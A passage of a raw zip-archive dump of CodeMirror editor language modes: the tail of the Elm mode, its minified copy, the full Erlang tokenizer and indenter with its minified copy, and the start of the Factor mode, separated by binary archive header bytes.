          if (char === '-' && source.eat('-'))
          {
            source.skipToEnd();
            return "comment";
          }
          source.eatWhile(symbolRE);
          return "keyword";
        }

        if (char === '_')
        {
          return "keyword";
        }

        return "error";
      }
    }

    function chompMultiComment(nest)
    {
      if (nest == 0)
      {
        return normal();
      }
      return function(source, setState)
      {
        while (!source.eol())
        {
          var char = source.next();
          if (char == '{' && source.eat('-'))
          {
            ++nest;
          }
          else if (char == '-' &&
source.eat('}'))
          {
            --nest;
            if (nest === 0)
            {
              setState(normal());
              return 'comment';
            }
          }
        }
        setState(chompMultiComment(nest));
        return 'comment';
      }
    }

    function chompMultiString(source, setState)
    {
      while (!source.eol())
      {
        var char = source.next();
        if (char === '"' &&
source.eat('"') && source.eat('"'))
        {
          setState(normal());
          return 'string';
        }
      }
      return 'string';
    }

    function chompSingleString(source, setState)
    {
      while (source.skipTo('\\"')) { source.next();
source.next(); }
      if (source.skipTo('"'))
      {
        source.next();
        setState(normal());
        return 'string';
      }
      source.skipToEnd();
      setState(normal());
      return 'error';
    }

    function chompChar(source, setState)
    {
      while (source.skipTo("\\'")) { source.next();
source.next(); }
      if (source.skipTo("'"))
      {
        source.next();
        setState(normal());
        return 'string';
      }
      source.skipToEnd();
      setState(normal());
      return 'error';
    }

    function chompGlsl(source, setState)
    {
      while (!source.eol())
      {
        var char = source.next();
        if (char === '|' && source.eat(']'))
        {
          setState(normal());
          return 'string';
        }
      }
      return 'string';
    }

    var wellKnownWords = {
      case: 1,
      of: 1,
      as: 1,
      if: 1,
      then: 1,
      else: 1,
      let: 1,
      in: 1,
      type: 1,
      alias: 1,
      module: 1,
      where: 1,
      import: 1,
      exposing: 1,
      port: 1
    };

    return {
      startState: function ()  { return { f: normal() }; },
      copyState:  function (s) { return { f: s.f }; },

      token: function(stream, state) {
        var type = state.f(stream, function(s) { state.f = s; });
        var word = stream.current();
        return (wellKnownWords.hasOwnProperty(word)) ? 'keyword'
: type;
      }
    };

  });

  CodeMirror.defineMIME("text/x-elm", "elm");
});
PKE��[�ܝ4''codemirror/mode/elm/elm.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("elm",(function(){function
a(a,b,c){return b(c),c(a,b)}function b(){return
function(b,p){if(b.eatWhile(o))return null;var
q=b.next();if(n.test(q))return"{"===q&&b.eat("-")?a(b,p,c(1)):"["===q&&b.match("glsl|")?a(b,p,g):"builtin";if("'"===q)return
a(b,p,f);if('"'===q)return
b.eat('"')?b.eat('"')?a(b,p,d):"string":a(b,p,e);if(i.test(q))return
b.eatWhile(j),"variable-2";if(h.test(q)){var r=1===b.pos;return
b.eatWhile(j),r?"def":"variable"}if(k.test(q)){if("0"===q){if(b.eat(/[xX]/))return
b.eatWhile(l),"number"}else b.eatWhile(k);return
b.eat(".")&&b.eatWhile(k),b.eat(/[eE]/)&&(b.eat(/[-+]/),b.eatWhile(k)),"number"}return
m.test(q)?"-"===q&&b.eat("-")?(b.skipToEnd(),"comment"):(b.eatWhile(m),"keyword"):"_"===q?"keyword":"error"}}function
c(a){return 0==a?b():function(d,e){for(;!d.eol();){var
f=d.next();if("{"==f&&d.eat("-"))++a;else
if("-"==f&&d.eat("}")&&0===--a)return
e(b()),"comment"}return e(c(a)),"comment"}}function
d(a,c){for(;!a.eol();){if('"'===a.next()&&a.eat('"')&&a.eat('"'))return
c(b()),"string"}return"string"}function
e(a,c){for(;a.skipTo('\\"');)a.next(),a.next();return
a.skipTo('"')?(a.next(),c(b()),"string"):(a.skipToEnd(),c(b()),"error")}function
f(a,c){for(;a.skipTo("\\'");)a.next(),a.next();return
a.skipTo("'")?(a.next(),c(b()),"string"):(a.skipToEnd(),c(b()),"error")}function
g(a,c){for(;!a.eol();){if("|"===a.next()&&a.eat("]"))return
c(b()),"string"}return"string"}var
h=/[a-z]/,i=/[A-Z]/,j=/[a-zA-Z0-9_]/,k=/[0-9]/,l=/[0-9A-Fa-f]/,m=/[-&*+.\\\/<>=?^|:]/,n=/[(),[\]{}]/,o=/[
\v\f]/,p={case:1,of:1,as:1,if:1,then:1,else:1,let:1,in:1,type:1,alias:1,module:1,where:1,import:1,exposing:1,port:1};return{startState:function(){return{f:b()}},copyState:function(a){return{f:a.f}},token:function(a,b){var
c=b.f(a,(function(a){b.f=a})),d=a.current();return
p.hasOwnProperty(d)?"keyword":c}}})),a.defineMIME("text/x-elm","elm")}));PKE��[UŊ:�I�I
codemirror/mode/erlang/erlang.jsnu�[���// CodeMirror, copyright
(c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

/*jshint unused:true, eqnull:true, curly:true, bitwise:true */
/*jshint undef:true, latedef:true, trailing:true */
/*global CodeMirror:true */

// erlang mode.
// tokenizer -> token types -> CodeMirror styles
// tokenizer maintains a parse stack
// indenter uses the parse stack

// TODO indenter:
//   bit syntax
//   old guard/bif/conversion clashes (e.g. "float/1")
//   type/spec/opaque

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMIME("text/x-erlang", "erlang");

CodeMirror.defineMode("erlang", function(cmCfg) {
  "use strict";

/////////////////////////////////////////////////////////////////////////////
// constants

  var typeWords = [
    "-type", "-spec", "-export_type",
"-opaque"];

  var keywordWords = [
   
"after","begin","catch","case","cond","end","fun","if",
   
"let","of","query","receive","try","when"];

  var separatorRE    = /[\->,;]/;
  var separatorWords = [
    "->",";",","];

  var operatorAtomWords = [
   
"and","andalso","band","bnot","bor","bsl","bsr","bxor",
   
"div","not","or","orelse","rem","xor"];

  var operatorSymbolRE    = /[\+\-\*\/<>=\|:!]/;
  var operatorSymbolWords = [
   
"=","+","-","*","/",">",">=","<","=<","=:=","==","=/=","/=","||","<-","!"];

  var openParenRE    = /[<\(\[\{]/;
  var openParenWords = [
    "<<","(","[","{"];

  var closeParenRE    = /[>\)\]\}]/;
  var closeParenWords = [
    "}","]",")",">>"];

  var guardWords = [
   
"is_atom","is_binary","is_bitstring","is_boolean","is_float",
   
"is_function","is_integer","is_list","is_number","is_pid",
   
"is_port","is_record","is_reference","is_tuple",
   
"atom","binary","bitstring","boolean","function","integer","list",
   
"number","pid","port","record","reference","tuple"];

  var bifWords = [
   
"abs","adler32","adler32_combine","alive","apply","atom_to_binary",
   
"atom_to_list","binary_to_atom","binary_to_existing_atom",
   
"binary_to_list","binary_to_term","bit_size","bitstring_to_list",
   
"byte_size","check_process_code","contact_binary","crc32",
   
"crc32_combine","date","decode_packet","delete_module",
   
"disconnect_node","element","erase","exit","float","float_to_list",
   
"garbage_collect","get","get_keys","group_leader","halt","hd",
   
"integer_to_list","internal_bif","iolist_size","iolist_to_binary",
   
"is_alive","is_atom","is_binary","is_bitstring","is_boolean",
   
"is_float","is_function","is_integer","is_list","is_number","is_pid",
   
"is_port","is_process_alive","is_record","is_reference","is_tuple",
   
"length","link","list_to_atom","list_to_binary","list_to_bitstring",
   
"list_to_existing_atom","list_to_float","list_to_integer",
   
"list_to_pid","list_to_tuple","load_module","make_ref","module_loaded",
   
"monitor_node","node","node_link","node_unlink","nodes","notalive",
   
"now","open_port","pid_to_list","port_close","port_command",
   
"port_connect","port_control","pre_loaded","process_flag",
   
"process_info","processes","purge_module","put","register",
   
"registered","round","self","setelement","size","spawn","spawn_link",
   
"spawn_monitor","spawn_opt","split_binary","statistics",
   
"term_to_binary","time","throw","tl","trunc","tuple_size",
   
"tuple_to_list","unlink","unregister","whereis"];

// upper case: [A-Z] [Ø-Þ] [À-Ö]
// lower case: [a-z] [ß-ö] [ø-ÿ]
  var anumRE       = /[\w@Ø-ÞÀ-Öß-öø-ÿ]/;
  var escapesRE    =
   
/[0-7]{1,3}|[bdefnrstv\\"']|\^[a-zA-Z]|x[0-9a-zA-Z]{2}|x{[0-9a-zA-Z]+}/;

/////////////////////////////////////////////////////////////////////////////
// tokenizer

  function tokenizer(stream,state) {
    // in multi-line string
    if (state.in_string) {
      state.in_string = (!doubleQuote(stream));
      return rval(state,stream,"string");
    }

    // in multi-line atom
    if (state.in_atom) {
      state.in_atom = (!singleQuote(stream));
      return rval(state,stream,"atom");
    }

    // whitespace
    if (stream.eatSpace()) {
      return rval(state,stream,"whitespace");
    }

    // attributes and type specs
    if (!peekToken(state) &&
        stream.match(/-\s*[a-zß-öø-ÿ][\wØ-ÞÀ-Öß-öø-ÿ]*/)) {
      if (is_member(stream.current(),typeWords)) {
        return rval(state,stream,"type");
      }else{
        return rval(state,stream,"attribute");
      }
    }

    var ch = stream.next();

    // comment
    if (ch == '%') {
      stream.skipToEnd();
      return rval(state,stream,"comment");
    }

    // colon
    if (ch == ":") {
      return rval(state,stream,"colon");
    }

    // macro
    if (ch == '?') {
      stream.eatSpace();
      stream.eatWhile(anumRE);
      return rval(state,stream,"macro");
    }

    // record
    if (ch == "#") {
      stream.eatSpace();
      stream.eatWhile(anumRE);
      return rval(state,stream,"record");
    }

    // dollar escape
    if (ch == "$") {
      if (stream.next() == "\\" &&
!stream.match(escapesRE)) {
        return rval(state,stream,"error");
      }
      return rval(state,stream,"number");
    }

    // dot
    if (ch == ".") {
      return rval(state,stream,"dot");
    }

    // quoted atom
    if (ch == '\'') {
      if (!(state.in_atom = (!singleQuote(stream)))) {
        if (stream.match(/\s*\/\s*[0-9]/,false)) {
          stream.match(/\s*\/\s*[0-9]/,true);
          return rval(state,stream,"fun");      //
'f'/0 style fun
        }
        if (stream.match(/\s*\(/,false) || stream.match(/\s*:/,false)) {
          return rval(state,stream,"function");
        }
      }
      return rval(state,stream,"atom");
    }

    // string
    if (ch == '"') {
      state.in_string = (!doubleQuote(stream));
      return rval(state,stream,"string");
    }

    // variable
    if (/[A-Z_Ø-ÞÀ-Ö]/.test(ch)) {
      stream.eatWhile(anumRE);
      return rval(state,stream,"variable");
    }

    // atom/keyword/BIF/function
    if (/[a-z_ß-öø-ÿ]/.test(ch)) {
      stream.eatWhile(anumRE);

      if (stream.match(/\s*\/\s*[0-9]/,false)) {
        stream.match(/\s*\/\s*[0-9]/,true);
        return rval(state,stream,"fun");      // f/0 style fun
      }

      var w = stream.current();

      if (is_member(w,keywordWords)) {
        return rval(state,stream,"keyword");
      }else if (is_member(w,operatorAtomWords)) {
        return rval(state,stream,"operator");
      }else if (stream.match(/\s*\(/,false)) {
        // 'put' and 'erlang:put' are bifs,
'foo:put' is not
        if (is_member(w,bifWords) &&
            ((peekToken(state).token != ":") ||
             (peekToken(state,2).token == "erlang"))) {
          return rval(state,stream,"builtin");
        }else if (is_member(w,guardWords)) {
          return rval(state,stream,"guard");
        }else{
          return rval(state,stream,"function");
        }
      }else if (lookahead(stream) == ":") {
        if (w == "erlang") {
          return rval(state,stream,"builtin");
        } else {
          return rval(state,stream,"function");
        }
      }else if (is_member(w,["true","false"])) {
        return rval(state,stream,"boolean");
      }else{
        return rval(state,stream,"atom");
      }
    }

    // number
    var digitRE      = /[0-9]/;
    var radixRE      = /[0-9a-zA-Z]/;         // 36#zZ style int
    if (digitRE.test(ch)) {
      stream.eatWhile(digitRE);
      if (stream.eat('#')) {                // 36#aZ  style
integer
        if (!stream.eatWhile(radixRE)) {
          stream.backUp(1);                 //"36#" - syntax
error
        }
      } else if (stream.eat('.')) {       // float
        if (!stream.eatWhile(digitRE)) {
          stream.backUp(1);        // "3." - probably end of
function
        } else {
          if (stream.eat(/[eE]/)) {        // float with exponent
            if (stream.eat(/[-+]/)) {
              if (!stream.eatWhile(digitRE)) {
                stream.backUp(2);            // "2e-" - syntax
error
              }
            } else {
              if (!stream.eatWhile(digitRE)) {
                stream.backUp(1);            // "2e" - syntax
error
              }
            }
          }
        }
      }
      return rval(state,stream,"number");   // normal integer
    }

    // open parens
    if (nongreedy(stream,openParenRE,openParenWords)) {
      return rval(state,stream,"open_paren");
    }

    // close parens
    if (nongreedy(stream,closeParenRE,closeParenWords)) {
      return rval(state,stream,"close_paren");
    }

    // separators
    if (greedy(stream,separatorRE,separatorWords)) {
      return rval(state,stream,"separator");
    }

    // operators
    if (greedy(stream,operatorSymbolRE,operatorSymbolWords)) {
      return rval(state,stream,"operator");
    }

    return rval(state,stream,null);
  }

/////////////////////////////////////////////////////////////////////////////
// utilities
  function nongreedy(stream,re,words) {
    if (stream.current().length == 1 && re.test(stream.current()))
{
      stream.backUp(1);
      while (re.test(stream.peek())) {
        stream.next();
        if (is_member(stream.current(),words)) {
          return true;
        }
      }
      stream.backUp(stream.current().length-1);
    }
    return false;
  }

  function greedy(stream,re,words) {
    if (stream.current().length == 1 && re.test(stream.current()))
{
      while (re.test(stream.peek())) {
        stream.next();
      }
      while (0 < stream.current().length) {
        if (is_member(stream.current(),words)) {
          return true;
        }else{
          stream.backUp(1);
        }
      }
      stream.next();
    }
    return false;
  }

  function doubleQuote(stream) {
    return quote(stream, '"', '\\');
  }

  function singleQuote(stream) {
    return quote(stream,'\'','\\');
  }

  function quote(stream,quoteChar,escapeChar) {
    while (!stream.eol()) {
      var ch = stream.next();
      if (ch == quoteChar) {
        return true;
      }else if (ch == escapeChar) {
        stream.next();
      }
    }
    return false;
  }

  function lookahead(stream) {
    var m = stream.match(/([\n\s]+|%[^\n]*\n)*(.)/,false);
    return m ? m.pop() : "";
  }

  function is_member(element,list) {
    return (-1 < list.indexOf(element));
  }

  function rval(state,stream,type) {

    // parse stack
    pushToken(state,realToken(type,stream));

    // map erlang token type to CodeMirror style class
    //     erlang             -> CodeMirror tag
    switch (type) {
      case "atom":        return "atom";
      case "attribute":   return "attribute";
      case "boolean":     return "atom";
      case "builtin":     return "builtin";
      case "close_paren": return null;
      case "colon":       return null;
      case "comment":     return "comment";
      case "dot":         return null;
      case "error":       return "error";
      case "fun":         return "meta";
      case "function":    return "tag";
      case "guard":       return "property";
      case "keyword":     return "keyword";
      case "macro":       return "variable-2";
      case "number":      return "number";
      case "open_paren":  return null;
      case "operator":    return "operator";
      case "record":      return "bracket";
      case "separator":   return null;
      case "string":      return "string";
      case "type":        return "def";
      case "variable":    return "variable";
      default:            return null;
    }
  }

  function aToken(tok,col,ind,typ) {
    return {token:  tok,
            column: col,
            indent: ind,
            type:   typ};
  }

  function realToken(type,stream) {
    return aToken(stream.current(),
                 stream.column(),
                 stream.indentation(),
                 type);
  }

  function fakeToken(type) {
    return aToken(type,0,0,type);
  }

  function peekToken(state,depth) {
    var len = state.tokenStack.length;
    var dep = (depth ? depth : 1);

    if (len < dep) {
      return false;
    }else{
      return state.tokenStack[len-dep];
    }
  }

  function pushToken(state,token) {

    if (!(token.type == "comment" || token.type ==
"whitespace")) {
      state.tokenStack = maybe_drop_pre(state.tokenStack,token);
      state.tokenStack = maybe_drop_post(state.tokenStack);
    }
  }

  function maybe_drop_pre(s,token) {
    var last = s.length-1;

    if (0 < last && s[last].type === "record"
&& token.type === "dot") {
      s.pop();
    }else if (0 < last && s[last].type === "group") {
      s.pop();
      s.push(token);
    }else{
      s.push(token);
    }
    return s;
  }

  function maybe_drop_post(s) {
    if (!s.length) return s
    var last = s.length-1;

    if (s[last].type === "dot") {
      return [];
    }
    if (last > 1 && s[last].type === "fun" &&
s[last-1].token === "fun") {
      return s.slice(0,last-1);
    }
    switch (s[last].token) {
      case "}":    return d(s,{g:["{"]});
      case "]":    return d(s,{i:["["]});
      case ")":    return d(s,{i:["("]});
      case ">>":   return d(s,{i:["<<"]});
      case "end":  return
d(s,{i:["begin","case","fun","if","receive","try"]});
      case ",":    return
d(s,{e:["begin","try","when","->",
                                 
",","(","[","{","<<"]});
      case "->":   return d(s,{r:["when"],
                              
m:["try","if","case","receive"]});
      case ";":    return
d(s,{E:["case","fun","if","receive","try","when"]});
      case "catch":return d(s,{e:["try"]});
      case "of":   return d(s,{e:["case"]});
      case "after":return
d(s,{e:["receive","try"]});
      default:     return s;
    }
  }

  function d(stack,tt) {
    // stack is a stack of Token objects.
    // tt is an object; {type:tokens}
    // type is a char, tokens is a list of token strings.
    // The function returns (possibly truncated) stack.
    // It will descend the stack, looking for a Token such that Token.token
    //  is a member of tokens. If it does not find that, it will normally
(but
    //  see "E" below) return stack. If it does find a match, it
will remove
    //  all the Tokens between the top and the matched Token.
    // If type is "m", that is all it does.
    // If type is "i", it will also remove the matched Token and
the top Token.
    // If type is "g", like "i", but add a fake
"group" token at the top.
    // If type is "r", it will remove the matched Token, but not
the top Token.
    // If type is "e", it will keep the matched Token but not the
top Token.
    // If type is "E", it behaves as for type "e",
except if there is no match,
    //  in which case it will return an empty stack.

    for (var type in tt) {
      var len = stack.length-1;
      var tokens = tt[type];
      for (var i = len-1; -1 < i ; i--) {
        if (is_member(stack[i].token,tokens)) {
          var ss = stack.slice(0,i);
          switch (type) {
              case "m": return
ss.concat(stack[i]).concat(stack[len]);
              case "r": return ss.concat(stack[len]);
              case "i": return ss;
              case "g": return
ss.concat(fakeToken("group"));
              case "E": return ss.concat(stack[i]);
              case "e": return ss.concat(stack[i]);
          }
        }
      }
    }
    return (type == "E" ? [] : stack);
  }

/////////////////////////////////////////////////////////////////////////////
// indenter

  function indenter(state,textAfter) {
    var t;
    var unit = cmCfg.indentUnit;
    var wordAfter = wordafter(textAfter);
    var currT = peekToken(state,1);
    var prevT = peekToken(state,2);

    if (state.in_string || state.in_atom) {
      return CodeMirror.Pass;
    }else if (!prevT) {
      return 0;
    }else if (currT.token == "when") {
      return currT.column+unit;
    }else if (wordAfter === "when" && prevT.type ===
"function") {
      return prevT.indent+unit;
    }else if (wordAfter === "(" && currT.token ===
"fun") {
      return  currT.column+3;
    }else if (wordAfter === "catch" && (t =
getToken(state,["try"]))) {
      return t.column;
    }else if
(is_member(wordAfter,["end","after","of"])) {
      t =
getToken(state,["begin","case","fun","if","receive","try"]);
      return t ? t.column : CodeMirror.Pass;
    }else if (is_member(wordAfter,closeParenWords)) {
      t = getToken(state,openParenWords);
      return t ? t.column : CodeMirror.Pass;
    }else if
(is_member(currT.token,[",","|","||"]) ||
             
is_member(wordAfter,[",","|","||"])) {
      t = postcommaToken(state);
      return t ? t.column+t.token.length : unit;
    }else if (currT.token == "->") {
      if (is_member(prevT.token,
["receive","case","if","try"])) {
        return prevT.column+unit+unit;
      }else{
        return prevT.column+unit;
      }
    }else if (is_member(currT.token,openParenWords)) {
      return currT.column+currT.token.length;
    }else{
      t = defaultToken(state);
      return truthy(t) ? t.column+unit : 0;
    }
  }

  function wordafter(str) {
    var m = str.match(/,|[a-z]+|\}|\]|\)|>>|\|+|\(/);

    return truthy(m) && (m.index === 0) ? m[0] : "";
  }

  function postcommaToken(state) {
    var objs = state.tokenStack.slice(0,-1);
    var i = getTokenIndex(objs,"type",["open_paren"]);

    return truthy(objs[i]) ? objs[i] : false;
  }

  function defaultToken(state) {
    var objs = state.tokenStack;
    var stop =
getTokenIndex(objs,"type",["open_paren","separator","keyword"]);
    var oper = getTokenIndex(objs,"type",["operator"]);

    if (truthy(stop) && truthy(oper) && stop < oper) {
      return objs[stop+1];
    } else if (truthy(stop)) {
      return objs[stop];
    } else {
      return false;
    }
  }

  function getToken(state,tokens) {
    var objs = state.tokenStack;
    var i = getTokenIndex(objs,"token",tokens);

    return truthy(objs[i]) ? objs[i] : false;
  }

  function getTokenIndex(objs,propname,propvals) {

    for (var i = objs.length-1; -1 < i ; i--) {
      if (is_member(objs[i][propname],propvals)) {
        return i;
      }
    }
    return false;
  }

  function truthy(x) {
    return (x !== false) && (x != null);
  }

/////////////////////////////////////////////////////////////////////////////
// this object defines the mode

  return {
    startState:
      function() {
        return {tokenStack: [],
                in_string:  false,
                in_atom:    false};
      },

    token:
      function(stream, state) {
        return tokenizer(stream, state);
      },

    indent:
      function(state, textAfter) {
        return indenter(state,textAfter);
      },

    lineComment: "%"
  };
});

});
PKE��[�C�L� �
$codemirror/mode/erlang/erlang.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMIME("text/x-erlang","erlang"),a.defineMode("erlang",(function(b){function
c(a,b){if(b.in_string)return
b.in_string=!f(a),k(b,a,"string");if(b.in_atom)return
b.in_atom=!g(a),k(b,a,"atom");if(a.eatSpace())return
k(b,a,"whitespace");if(!o(b)&&a.match(/-\s*[a-zß-öø-ÿ][\wØ-ÞÀ-Öß-öø-ÿ]*/))return
j(a.current(),A)?k(b,a,"type"):k(b,a,"attribute");var
c=a.next();if("%"==c)return
a.skipToEnd(),k(b,a,"comment");if(":"==c)return
k(b,a,"colon");if("?"==c)return
a.eatSpace(),a.eatWhile(N),k(b,a,"macro");if("#"==c)return
a.eatSpace(),a.eatWhile(N),k(b,a,"record");if("$"==c)return"\\"!=a.next()||a.match(O)?k(b,a,"number"):k(b,a,"error");if("."==c)return
k(b,a,"dot");if("'"==c){if(!(b.in_atom=!g(a))){if(a.match(/\s*\/\s*[0-9]/,!1))return
a.match(/\s*\/\s*[0-9]/,!0),k(b,a,"fun");if(a.match(/\s*\(/,!1)||a.match(/\s*:/,!1))return
k(b,a,"function")}return
k(b,a,"atom")}if('"'==c)return
b.in_string=!f(a),k(b,a,"string");if(/[A-Z_Ø-ÞÀ-Ö]/.test(c))return
a.eatWhile(N),k(b,a,"variable");if(/[a-z_ß-öø-ÿ]/.test(c)){if(a.eatWhile(N),a.match(/\s*\/\s*[0-9]/,!1))return
a.match(/\s*\/\s*[0-9]/,!0),k(b,a,"fun");var h=a.current();return
j(h,B)?k(b,a,"keyword"):j(h,E)?k(b,a,"operator"):a.match(/\s*\(/,!1)?!j(h,M)||":"==o(b).token&&"erlang"!=o(b,2).token?j(h,L)?k(b,a,"guard"):k(b,a,"function"):k(b,a,"builtin"):":"==i(a)?"erlang"==h?k(b,a,"builtin"):k(b,a,"function"):j(h,["true","false"])?k(b,a,"boolean"):k(b,a,"atom")}var
l=/[0-9]/,m=/[0-9a-zA-Z]/;return
l.test(c)?(a.eatWhile(l),a.eat("#")?a.eatWhile(m)||a.backUp(1):a.eat(".")&&(a.eatWhile(l)?a.eat(/[eE]/)&&(a.eat(/[-+]/)?a.eatWhile(l)||a.backUp(2):a.eatWhile(l)||a.backUp(1)):a.backUp(1)),k(b,a,"number")):d(a,H,I)?k(b,a,"open_paren"):d(a,J,K)?k(b,a,"close_paren"):e(a,C,D)?k(b,a,"separator"):e(a,F,G)?k(b,a,"operator"):k(b,a,null)}function
d(a,b,c){if(1==a.current().length&&b.test(a.current())){for(a.backUp(1);b.test(a.peek());)if(a.next(),j(a.current(),c))return!0;a.backUp(a.current().length-1)}return!1}function
e(a,b,c){if(1==a.current().length&&b.test(a.current())){for(;b.test(a.peek());)a.next();for(;0<a.current().length;){if(j(a.current(),c))return!0;a.backUp(1)}a.next()}return!1}function
f(a){return h(a,'"',"\\")}function g(a){return
h(a,"'","\\")}function
h(a,b,c){for(;!a.eol();){var
d=a.next();if(d==b)return!0;d==c&&a.next()}return!1}function
i(a){var b=a.match(/([\n\s]+|%[^\n]*\n)*(.)/,!1);return
b?b.pop():""}function j(a,b){return-1<b.indexOf(a)}function
k(a,b,c){switch(p(a,m(c,b)),c){case"atom":return"atom";case"attribute":return"attribute";case"boolean":return"atom";case"builtin":return"builtin";case"close_paren":case"colon":return
null;case"comment":return"comment";case"dot":return
null;case"error":return"error";case"fun":return"meta";case"function":return"tag";case"guard":return"property";case"keyword":return"keyword";case"macro":return"variable-2";case"number":return"number";case"open_paren":return
null;case"operator":return"operator";case"record":return"bracket";case"separator":return
null;case"string":return"string";case"type":return"def";case"variable":return"variable";default:return
null}}function l(a,b,c,d){return{token:a,column:b,indent:c,type:d}}function
m(a,b){return l(b.current(),b.column(),b.indentation(),a)}function
n(a){return l(a,0,0,a)}function o(a,b){var
c=a.tokenStack.length,d=b||1;return!(c<d)&&a.tokenStack[c-d]}function
p(a,b){"comment"!=b.type&&"whitespace"!=b.type&&(a.tokenStack=q(a.tokenStack,b),a.tokenStack=r(a.tokenStack))}function
q(a,b){var c=a.length-1;return
0<c&&"record"===a[c].type&&"dot"===b.type?a.pop():0<c&&"group"===a[c].type?(a.pop(),a.push(b)):a.push(b),a}function
r(a){if(!a.length)return a;var
b=a.length-1;if("dot"===a[b].type)return[];if(b>1&&"fun"===a[b].type&&"fun"===a[b-1].token)return
a.slice(0,b-1);switch(a[b].token){case"}":return
s(a,{g:["{"]});case"]":return
s(a,{i:["["]});case")":return
s(a,{i:["("]});case">>":return
s(a,{i:["<<"]});case"end":return
s(a,{i:["begin","case","fun","if","receive","try"]});case",":return
s(a,{e:["begin","try","when","->",",","(","[","{","<<"]});case"->":return
s(a,{r:["when"],m:["try","if","case","receive"]});case";":return
s(a,{E:["case","fun","if","receive","try","when"]});case"catch":return
s(a,{e:["try"]});case"of":return
s(a,{e:["case"]});case"after":return
s(a,{e:["receive","try"]});default:return a}}function
s(a,b){for(var c in b)for(var
d=a.length-1,e=b[c],f=d-1;-1<f;f--)if(j(a[f].token,e)){var
g=a.slice(0,f);switch(c){case"m":return
g.concat(a[f]).concat(a[d]);case"r":return
g.concat(a[d]);case"i":return g;case"g":return
g.concat(n("group"));case"E":case"e":return
g.concat(a[f])}}return"E"==c?[]:a}function t(c,d){var
e,f=b.indentUnit,g=u(d),h=o(c,1),i=o(c,2);return
c.in_string||c.in_atom?a.Pass:i?"when"==h.token?h.column+f:"when"===g&&"function"===i.type?i.indent+f:"("===g&&"fun"===h.token?h.column+3:"catch"===g&&(e=x(c,["try"]))?e.column:j(g,["end","after","of"])?(e=x(c,["begin","case","fun","if","receive","try"]),e?e.column:a.Pass):j(g,K)?(e=x(c,I),e?e.column:a.Pass):j(h.token,[",","|","||"])||j(g,[",","|","||"])?(e=v(c),e?e.column+e.token.length:f):"->"==h.token?j(i.token,["receive","case","if","try"])?i.column+f+f:i.column+f:j(h.token,I)?h.column+h.token.length:(e=w(c),z(e)?e.column+f:0):0}function
u(a){var b=a.match(/,|[a-z]+|\}|\]|\)|>>|\|+|\(/);return
z(b)&&0===b.index?b[0]:""}function v(a){var
b=a.tokenStack.slice(0,-1),c=y(b,"type",["open_paren"]);return!!z(b[c])&&b[c]}function
w(a){var
b=a.tokenStack,c=y(b,"type",["open_paren","separator","keyword"]),d=y(b,"type",["operator"]);return
z(c)&&z(d)&&c<d?b[c+1]:!!z(c)&&b[c]}function
x(a,b){var
c=a.tokenStack,d=y(c,"token",b);return!!z(c[d])&&c[d]}function
y(a,b,c){for(var d=a.length-1;-1<d;d--)if(j(a[d][b],c))return
d;return!1}function z(a){return!1!==a&&null!=a}var
A=["-type","-spec","-export_type","-opaque"],B=["after","begin","catch","case","cond","end","fun","if","let","of","query","receive","try","when"],C=/[\->,;]/,D=["->",";",","],E=["and","andalso","band","bnot","bor","bsl","bsr","bxor","div","not","or","orelse","rem","xor"],F=/[\+\-\*\/<>=\|:!]/,G=["=","+","-","*","/",">",">=","<","=<","=:=","==","=/=","/=","||","<-","!"],H=/[<\(\[\{]/,I=["<<","(","[","{"],J=/[>\)\]\}]/,K=["}","]",")",">>"],L=["is_atom","is_binary","is_bitstring","is_boolean","is_float","is_function","is_integer","is_list","is_number","is_pid","is_port","is_record","is_reference","is_tuple","atom","binary","bitstring","boolean","function","integer","list","number","pid","port","record","reference","tuple"],M=["abs","adler32","adler32_combine","alive","apply","atom_to_binary","atom_to_list","binary_to_atom","binary_to_existing_atom","binary_to_list","binary_to_term","bit_size","bitstring_to_list","byte_size","check_process_code","contact_binary","crc32","crc32_combine","date","decode_packet","delete_module","disconnect_node","element","erase","exit","float","float_to_list","garbage_collect","get","get_keys","group_leader","halt","hd","integer_to_list","internal_bif","iolist_size","iolist_to_binary","is_alive","is_atom","is_binary","is_bitstring","is_boolean","is_float","is_function","is_integer","is_list","is_number","is_pid","is_port","is_process_alive","is_record","is_reference","is_tuple","length","link","list_to_atom","list_to_binary","list_to_bitstring","list_to_existing_atom","list_to_float","list_to_integer","list_to_pid","list_to_tuple","load_module","make_ref","module_loaded","monitor_node","node","node_link","node_unlink","nodes","notalive","now","open_port","pid_to_list","port_close","port_command","port_connect","port_control","pre_loaded","process_flag","process_info","processes","purge_module","put","register","registered","round","self","setelement","size","spawn","spawn_link","spawn_monitor","spawn_opt","split_binary","statistics","term_to_binary","time","throw","tl","trunc","tuple_size","tuple_to_list","unlink","unregister","whereis"],N=/[\w@Ø-ÞÀ-Öß-öø-ÿ]/,O=/[0-7]{1,3}|[bdefnrstv\\"']|\^[a-zA-Z]|x[0-9a-zA-Z]{2}|x{[0-9a-zA-Z]+}/;return{startState:function(){return{tokenStack:[],in_string:!1,in_atom:!1}},token:function(a,b){return
c(a,b)},indent:function(a,b){return
t(a,b)},lineComment:"%"}}))}));PKE��[���
�
codemirror/mode/factor/factor.jsnu�[���// CodeMirror, copyright
(c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

// Factor syntax highlight - simple mode
//
// by Dimage Sapelkin (https://github.com/kerabromsmu)

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"),
require("../../addon/mode/simple"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror",
"../../addon/mode/simple"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  CodeMirror.defineSimpleMode("factor", {
    // The start state contains the rules that are intially used
    start: [
      // comments
      {regex: /#?!.*/, token: "comment"},
      // strings """, multiline --> state
